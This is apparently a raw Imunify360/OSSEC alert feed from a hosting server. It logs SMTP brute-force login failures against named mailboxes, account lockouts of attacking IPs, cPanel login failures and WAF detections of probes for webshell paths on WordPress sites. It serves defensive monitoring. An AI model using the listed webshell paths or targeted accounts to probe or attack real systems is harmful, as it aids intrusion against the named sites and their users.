2026-02-01 22:05:26 dovecot_login authenticator failed for H=(nsg-corporate-255.223.187.122.airtel.in) [182.79.52.114]:50952: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 22:05:19 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:35790: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:05:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57834: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:05:03 dovecot_login authenticator failed for H=(Eoj7twdXFR) [178.16.52.139]:50204: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:05:04 dovecot_login authenticator failed for H=(ZWiVl5ky) [158.94.208.175]:60091: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 22:05:53 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:40014: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:05:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.136.164.157
country_id: 6252001
description:
2026-02-01 22:06:37 dovecot_login authenticator failed for H=c-76-136-164-157.hsd1.il.comcast.net [76.136.164.157]:35494: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:06:28 dovecot_login authenticator failed for H=(elDn3sBk) [158.94.208.175]:61209: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:06:09 dovecot_login authenticator failed for H=(UDePPa) [178.16.52.139]:57359: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:06:16 dovecot_login authenticator failed for H=(3EG6JZ) [2.58.56.77]:61034: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 22:06:09 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:23540: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 22:06:22 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:36694: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:06:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.16.55
country_id: 3469034
description:
2026-02-01 22:06:57 dovecot_login authenticator failed for H=(177-174-16-55.user.vivozap.com.br) [177.174.16.55]:35338: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:06:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50829: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:06:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57248: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:07:18 dovecot_login authenticator failed for H=(6NPXff) [158.94.208.175]:60199: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:07:02 dovecot_login authenticator failed for H=(VntU7wohXq) [178.16.52.139]:56313: 535 Incorrect authentication data (set_id=klsim.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:07:17 dovecot_login authenticator failed for H=(nNW8hP) [178.16.52.139]:64246: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.211.10
country_id: 1880251
domain: geminiflourmill.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/moon.php||SC:/home2/cabecom/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:07:46 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:07:02 dovecot_login authenticator failed for H=(Pt7O1A044) [2.58.56.77]:50448: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-02-01 22:07:26 dovecot_plain authenticator failed for H=(wurand) [65.20.153.146]:35592: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.161.96.107
country_id: 6252001
description:
2026-02-01 22:07:30 dovecot_plain authenticator failed for H=c-73-161-96-107.hsd1.mi.comcast.net (veless) [73.161.96.107]:34584: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:07:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60284: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:08:02 dovecot_login authenticator failed for H=(p8BopML7y) [178.16.52.139]:65215: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:08:37 dovecot_login authenticator failed for H=(fw630BTB) [178.16.52.139]:53725: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.95.144.95
country_id: 3469034
description:
2026-02-01 22:08:38 dovecot_login authenticator failed for H=189-95-144-95.3g.claro.net.br ([127.0.0.1]) [189.95.144.95]:42838: 535 Incorrect authentication data (set_id=kelveen@tst-ma.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.152.73
country_id: 1814991
description:
2026-02-01 22:08:47 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.152.73]:52216: 535 Incorrect authentication data (set_id=kelveen)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:08:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53227: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:08:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:08:10 dovecot_login authenticator failed for H=(FltKQ77eGi) [2.58.56.77]:54446: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:08:14 dovecot_login authenticator failed for H=(ASuuPbFc) [158.94.208.175]:59816: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:08:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55236: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:09:14 dovecot_login authenticator failed for H=(vUT9m7BT) [2.58.56.77]:54344: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:09:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52134: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:09:10 dovecot_login authenticator failed for H=(cxpMPbLPdO) [158.94.208.175]:49816: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:09:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:09:04 dovecot_login authenticator failed for H=(foSORvww) [178.16.52.139]:64961: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.127.53.61
country_id: 6252001
description:
2026-02-01 22:09:18 dovecot_plain authenticator failed for H=c-24-127-53-61.hsd1.mi.comcast.net (dings) [24.127.53.61]:39032: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 22:09:23 dovecot_plain authenticator failed for H=host-196-47-172-253.afnet.net (coleures) [196.47.172.253]:46980: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-02-01 22:09:43 243046 [Warning] Aborted connection 243046 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:10:21 dovecot_login authenticator failed for H=(pEKX9w) [2.58.56.77]:56866: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:10:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57102: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:10:13 dovecot_login authenticator failed for H=(dN2aQ8) [178.16.52.139]:59671: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:10:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:10:05 dovecot_login authenticator failed for H=(AR1kBSRm) [178.16.52.139]:56069: 535 Incorrect authentication data (set_id=klsim.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:10:06 dovecot_login authenticator failed for H=(W1g7dx306) [158.94.208.175]:54682: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:10:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64884: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 22:12:00 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:53748: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:11:08 dovecot_login authenticator failed for H=(WZRl8On) [2.58.56.77]:55892: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-02-01 22:11:37 243110 [Warning] Aborted connection 243110 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:11:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:11:31 dovecot_login authenticator failed for H=(NTG2AfzM0) [158.94.208.175]:57444: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:11:03 dovecot_login authenticator failed for H=(Bsx50I0o0E) [178.16.52.139]:53999: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:11:04 dovecot_login authenticator failed for H=(nthwg6CD6) [178.16.54.22]:50210: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:11:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:11:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55777: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:11:49 dovecot_login authenticator failed for H=(FaQfFLo4fe) [178.16.52.139]:50884: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:12:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50814: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:12:05 dovecot_login authenticator failed for H=(4ZFV5BD) [178.16.54.22]:63479: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:12:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:12:16 dovecot_login authenticator failed for H=(2qv57J5GKA) [2.58.56.77]:62750: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:12:27 dovecot_login authenticator failed for H=(b7rxYHZe8) [158.94.208.175]:63493: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:12:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:12:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50360: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:12:19 dovecot_login authenticator failed for H=(EAONcP) [178.16.52.139]:60439: 535 Incorrect authentication data (set_id=klsim.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.196.31.2
country_id: 1835841
description:
2026-02-01 22:12:37 dovecot_login authenticator failed for H=([121.128.76.108]) [211.196.31.2]:52513: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.182.130
country_id: 1269750
description:
2026-02-01 22:13:17 dovecot_login authenticator failed for H=(mail1.i-megh.com) [182.95.182.130]:55168: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:13:47 dovecot_login authenticator failed for H=(wNPLdJ5B) [178.16.52.139]:51119: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 22:13:22 H=([167.148.167.71]) [167.148.167.71]:52108 F=<Server@euratech.com.my> rejected RCPT <rohaidaak@euratech.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:13:04 dovecot_login authenticator failed for H=(GP4SN1) [178.16.52.139]:50957: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:13:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62236: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:13:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:13:23 dovecot_login authenticator failed for H=(OUDRkr) [158.94.208.175]:62771: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:13:32 dovecot_login authenticator failed for H=(Vce2TO1X) [178.16.54.22]:57751: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.135.92.68
country_id: 1643084
description:
[2026-02-01 22:13:03 +0800] info [cpaneld] 95.135.92.68 - kik! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:13:24 dovecot_login authenticator failed for H=(3XPH9uL7) [2.58.56.77]:62673: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.160.166.161
country_id: 1835841
description:
2026-02-01 22:13:39 dovecot_login authenticator failed for H=([121.160.166.161]) [121.160.166.161]:54602: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 22:14:02 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:29684: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.34.167
country_id: 1814991
description:
2026-02-01 22:13:33 dovecot_login authenticator failed for H=([120.238.34.167]) [120.238.34.167]:45067: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-01 22:14:33 dovecot_plain authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net (tarral) [71.62.34.216]:38416: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:14:07 dovecot_login authenticator failed for H=(J9Vl9qW) [178.16.54.22]:64415: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:14:47 dovecot_login authenticator failed for H=(t3MsPwupef) [158.94.208.175]:55257: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:14:06 dovecot_login authenticator failed for H=(ysrIZboBK) [178.16.52.139]:63984: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:14:45 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.84.193
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/throw/15/438/1549817 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.20.32.133
country_id: 1643084
description:
[2026-02-01 22:15:00 +0800] info [webmaild] 157.20.32.133 - itdept@ajplantations.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:14:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62075: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:14:10 dovecot_login authenticator failed for H=(myuH5G) [2.58.56.77]:63774: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:15:10 dovecot_login authenticator failed for H=(EkEUDB) [178.16.52.139]:62856: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:15:18 dovecot_login authenticator failed for H=(y6tt4jU) [158.94.208.175]:57965: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:15:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54317: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:15:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56786: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:15:16 dovecot_login authenticator failed for H=(x2R7IcW) [178.16.54.22]:56101: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 22:15:24 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:55561: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:15:45 dovecot_login authenticator failed for H=(vE89cpb) [178.16.52.139]:53483: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-02-01 22:15:09 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:40740: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:15:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:15:21 dovecot_login authenticator failed for H=(1yiNOgxYL) [2.58.56.77]:61639: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
